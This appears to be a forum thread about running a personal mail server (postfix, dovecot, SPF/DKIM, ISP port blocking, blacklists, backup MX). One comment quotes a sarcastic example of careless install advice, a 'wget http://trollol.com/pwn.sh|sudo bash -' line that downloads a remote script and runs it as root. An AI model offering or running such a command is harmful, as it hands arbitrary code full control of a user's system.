This was initially inspired by and posted on the "Gmail is down" thread, but it got drowned out quickly by our collective lack of organization. (Why didn't we just start with a "me too" thread that people could respond to?)
Put up a RPI at home. postfix + dovecot + roundcube should do the trick.
Add FW forwardings for 80/443/25 (or allow IPv6 to pass through)
Update DNS records every N minutes. (cron, nsupdate, dyndns clients, amazon command line tools....). You will need SPF/DKIM.
The RFC for SMTP says Mail Servers have to retry for 7 days before giving up on mail delivery. This should be plenty for your home server. There are also commercial Mail relay and backup MX services (sometimes even as a free offer for buying domains on website X).
You can backup the SD-Card whenever you want. Your Mail stays at locations you control.
I currently have a root server, but I'm heavily considering "in-housing" those services because of the NSA activities.
EDIT: it's 7 days PS: Some old firewalls block dynamic IPs for mail delivery. I'm not sure how common this is today, especially as SPAM and botnets have evolved a lot.
The problem is not that firewalls block dynamic IPs, but that a lot of mail servers, to deal with spam servers, started accepting mail only from some trusted smarthosts.
So there might be some server that will reject your mails. (I don't honestly know how much SPF makes things better.)
However, your ISP SMTP server will accept mail from its IP range (as they know how to find you if you abuse the service) and will relay mail for you. So probably your best bet is setup outgoing mail to go through it (Internet site with Smarthost, or something like that).
Ah, and don't forget to setup your server for SSL!
FWIW running a personal mail server on Linode for 8 years, I've never had a remote mail server refuse acceptance due to my IP address not being on some protocartel whitelist.
I have had a few annoying false positives from Mailavenger, but clearly that's not my config that's broken :>
If an ISP blocks port 25 then it means they'll have a bunch of support calls from people who's email client doesn't send email because SMTP is blocked. So, in my experience not many ISPs do that anymore. Besides it isn't actually an effective way to stop spam.
For one, this violates every second provider's ToS, if not every single one.
For two, lots of providers block incoming SMTP connections on TCP/25. More importantly, they may start blocking it without notice and you'll have no clue that they did.
For three, you will most likely end up on a RBL (blacklist) in no time solely because you come from a "consumer" IP range.
I mean, hosting at home is technically simple, but in the end it created more problems that it solves. Get a hosted server and use it instead.
2. Incoming / Outgoing TCP/25 blocking: Not a problem with ISPs in Germany.
3. Blacklisting: At most a problem if you send mails. Plus GMAIL requires SPF/DKIM for just about evey IP, so yes, you are on a blacklist unless you do some DNS magic. BUT once you do the magic it will override IP block - unless the other side has a shitty setup....
A large dollop of group experience wrapped up in Ansible recipes for your cheap VPS.
There is still a third party that can give away your data, block your service and delete your emails pushing a virtual button.
[1] http://minireference.com/blog/a-scriptable-future-for-the-we...
(Features--privacy, encryption--are supposed to satisfy the most discerning HN reader.)
On a serious note, I've considered publishing the kickstart + deploy scripts I use for setting up mail servers. I'd have to do a bit of clean-up but I think it would be useful for a lot of people. I'll try to get to that in the very near future.
As to running your own email server? Don't bother. Unless you plan to stay on top of exploits, DKIM keys and SPF records you'll wind up with serious mail delivery problems.
Edit: not sure about SenderID, to be honest.
It's no longer current technology and fails to comply with RFC changes that have happened since it was released, including but not limited to 6522, which standardizes bounce messages.
It still does very well at the job it was originally designed to do, but it's no longer a modern, usable tool. It doesn't belong in the modern email toolbox any longer.
I really don't know what the deal is with email, but since the mid 90s there's been this weird thing where everyone wants to follow some kind of step by step guide. But it is just simple software like anything else. If you can setup a webserver or a database server or anything else you can setup a mail server.
Recent Exim exploit: http://www.exploit-db.com/exploits/25970/
Dovecot exploit: https://www.rapid7.com/db/modules/exploit/linux/smtp/exim4_d...
I found a few Sendmail exploits as well but nothing from this year. Sure this stuff is easy to install but there is a reason managed email exists.
https://www.redteam-pentesting.de/de/advisories/rt-sa-2013-0...
By that metric all software on your servers are insecure (consider the number of "just do: 'wget http://trollol.com/pwn.sh|sudo bash -'"-type advice you find looking at install-instruction for random github projects).
DKIM & SPF are marginally useful (at best) for ensuring delivery. You're much better off registering your server with http://www.dnswl.org/
[1] http://dbpmail.net/essays/2013-06-29-hackers-replacement-for...
I've been running a split setup like this for a year or two. I found that my free-with-apartment internet connection, amazingly, gave a fairly static IP (it was DHCP but usually the same) and unfirewalled inbound ports, so I set up a mailserver for inbound mail and IMAP storage. I figured the IP might be on anti-spam blacklists, firewalled on port 25, or shut down if the ISP saw me mailing out, so I sent outbound mail through Dreamhost. It was nice to have the full copy of my mail in my house, with backups and spam filtering under my control. Sending outbound through a 3rd party wasn't ideal, but I thought a decent compromise to avoid having to talk to the ISP and risk the free public IP being taken away (I wouldn't have even known who to contact anyway.)
As a bonus, I set the Dreamhost mail server as a backup MX with the same email address I host myself, so they catch mail for me if my server or connection goes down.
I now have official "small business" ISP service that includes several public IPs, so I am transitioning to sending my own mail, now that it's definitely kosher and I'll have support.
I'm currently using NameCheap's e-mail service because setting up the software was too complicated.
[0] http://sealedabstract.com/code/nsa-proof-your-e-mail-in-2-ho...
Thanks for linking this! I'm planning on rebuilding my mail host pretty soon, since most of it's been untouched for almost a decade and I'm a much better sysadmin now than I used to be; that's not least evident in how I didn't bother to document anything the first time around, so having this HOWTO handy will save me a lot of time.
(Edit on further reading: I tried Z-push, but the version I tried didn't support message flags, which I require; push also annoyed me and sucked more battery life than it was worth, so I disabled it and got rid of Z-push. And I don't see the need for Solr; Dovecot, I'm not sure what version but I set it up something like five years ago, gives me full-text message search for free.)
Ideally, I'd sign up with one or two services and have each listed as an MX for my domain so there's always some service online to take the email. I can write my own app to hit both services and unify the two streams.
Usually it is a pain if you have mail going to more than one host - ie. no shared storage amongst all the hosts that receive mails, but if you were looking for redundancy and didn't mind the "manual fixup" this would be almost trivial to setup with 2+ VPS from different providers.
Its abit like cPanel & Plesk, but you don't need to use the control panel if you know what you are doing.
1 year micro EC2 instance. This runs bind and dovecot/postfix. This could probably be done even cheaper with a home hosted RPI, but depends on your ISP's smtp relay rules.
free gTLD from dot.tk
done!